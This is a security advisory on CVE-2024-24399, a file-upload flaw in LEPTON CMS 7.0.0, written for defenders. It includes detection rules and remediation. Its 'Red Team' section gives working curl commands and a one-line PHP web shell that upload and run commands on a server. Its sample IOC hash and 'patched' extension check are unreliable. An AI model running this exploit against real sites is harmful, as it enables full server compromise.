CVE-2024-24399

Executive Summary

CVE-2024-24399 is an arbitrary file upload vulnerability discovered in LEPTON CMS version 7.0.0. An authenticated attacker can exploit this flaw by uploading malicious PHP code to the backend/languages/index.php languages area, leading to remote code execution (RCE) on the underlying web server. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the authenticated requirement, the attack surface is limited to users with valid credentials, but the impact is severe as it allows full server compromise.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). LEPTON CMS is a standalone PHP application distributed via its official website or GitHub repository. No supply chain component is directly affected.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a complete vector. However, based on the vulnerability characteristics, a reasonable estimated vector is:

• Attack Vector (AV): Network (N) – the attack is performed over HTTP.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs authenticated access.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – arbitrary file upload can lead to data exfiltration.
• Integrity (I): High (H) – attacker can modify files and execute code.
• Availability (A): High (H) – attacker can disrupt service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Threat Level: High – authenticated RCE with low complexity.

Deep Dive & Mechanics

The vulnerability resides in the language file upload functionality of LEPTON CMS. The backend/languages/index.php script handles the upload of language pack files (typically .php or .zip). Due to insufficient input validation and file type restrictions, an authenticated user can upload a crafted PHP file that is then stored in the web root and executed by the server.

Root Cause: The application fails to properly sanitize the file extension or content type during the upload process. It does not restrict uploads to only allowed file types (e.g., .zip for language packs) and does not verify that the uploaded file is a legitimate language file.

Attack Flow:

1. Attacker authenticates to the LEPTON CMS backend.
2. Attacker navigates to the language management section (backend/languages/index.php).
3. Attacker uploads a PHP web shell (e.g., shell.php) disguised as a language file.
4. The file is stored in the languages/ directory (or a subdirectory) on the server.
5. Attacker accesses the uploaded file via HTTP, triggering PHP execution.
6. The web shell provides remote command execution capabilities.

Impact: Full server compromise, data theft, lateral movement, and potential use as a pivot point for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state of LEPTON CMS v7.0.0. The following is a conceptual representation of the vulnerable upload handler:

Vulnerable Code (backend/languages/index.php):

<?php
// Simplified vulnerable upload handler
if (isset($_FILES['language_file'])) {
    $target_dir = "languages/";
    $target_file = $target_dir . basename($_FILES["language_file"]["name"]);
    if (move_uploaded_file($_FILES["language_file"]["tmp_name"], $target_file)) {
        echo "File uploaded successfully.";
    } else {
        echo "Upload failed.";
    }
}
?>

Patched Code (Conceptual):

<?php
// Patched version with file type validation
$allowed_extensions = ['zip', 'tar.gz'];
$file_extension = pathinfo($_FILES["language_file"]["name"], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type.");
}
// Additional checks: MIME type, file content validation, etc.
$target_dir = "languages/";
$target_file = $target_dir . basename($_FILES["language_file"]["name"]);
if (move_uploaded_file($_FILES["language_file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• LEPTON CMS v7.0.0 installed and running.
• Valid admin credentials (e.g., admin:password).

Exploitation Steps:

1. Authenticate to the backend:

   curl -c cookies.txt -X POST http://target/backend/login/index.php \
     -d "username=admin&password=password"
   

2. Upload a PHP web shell: Create a file named shell.php with the following content:

   <?php system($_GET['cmd']); ?>
   

   Upload it via the language management interface:

   curl -b cookies.txt -F "language_file=@shell.php" \
     http://target/backend/languages/index.php
   

3. Execute commands:

   curl http://target/languages/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor file upload logs for unusual file extensions (.php, .phtml, .php5).
2. Check the languages/ directory for unexpected PHP files.
3. Review web server access logs for requests to backend/languages/index.php followed by requests to uploaded files.
4. Implement file integrity monitoring (FIM) on the languages/ directory.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/backend/languages/index.php" AND method=POST
| table _time, src_ip, uri, status
| sort - _time

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, actual hash depends on content)
• Network Indicators:
  • POST requests to /backend/languages/index.php with multipart form data.
  • Subsequent GET requests to /languages/<filename>.php with cmd parameter.
• File System Indicators:
  • Unexpected .php files in /var/www/html/languages/ or similar.
  • Files with recent modification timestamps in the languages directory.
• Log Indicators:
  • Web server logs showing 200 status for uploaded PHP files.
  • Error logs with PHP parse errors if shell is malformed.

Detection Engineering

YARA Rule

rule CVE_2024_24399_LEPTON_Upload {
    meta:
        description = "Detects PHP web shells uploaded via LEPTON CMS language upload"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24399"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_func = "shell_exec("
        $cmd_param = "$_GET['cmd']"
    condition:
        $php_tag and ($system_call or $shell_func or $cmd_param)
}

Sigma Rule

title: LEPTON CMS Arbitrary File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to LEPTON CMS language upload endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/backend/languages/index.php'
    condition: selection
falsepositives:
    - Legitimate language pack uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24399 LEPTON CMS Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/backend/languages/index.php"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.php\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable language upload functionality if not required, by removing or restricting access to backend/languages/index.php.
2. Implement file type whitelisting at the web server level (e.g., using .htaccess or Nginx config) to block PHP execution in the languages/ directory:

   <Directory "/var/www/html/languages">
       <FilesMatch "\.php$">
           Require all denied
       </FilesMatch>
   </Directory>
   

3. Apply strict input validation on the server side to only allow .zip or .tar.gz files.
4. Monitor and audit all file uploads to the languages directory.

Long-term Fix:

• Await an official patch from LEPTON CMS developers.
• Consider migrating to a supported CMS if no patch is released.

Workaround:

• Use a Web Application Firewall (WAF) to block uploads with .php extensions to the vulnerable endpoint.

Valters IT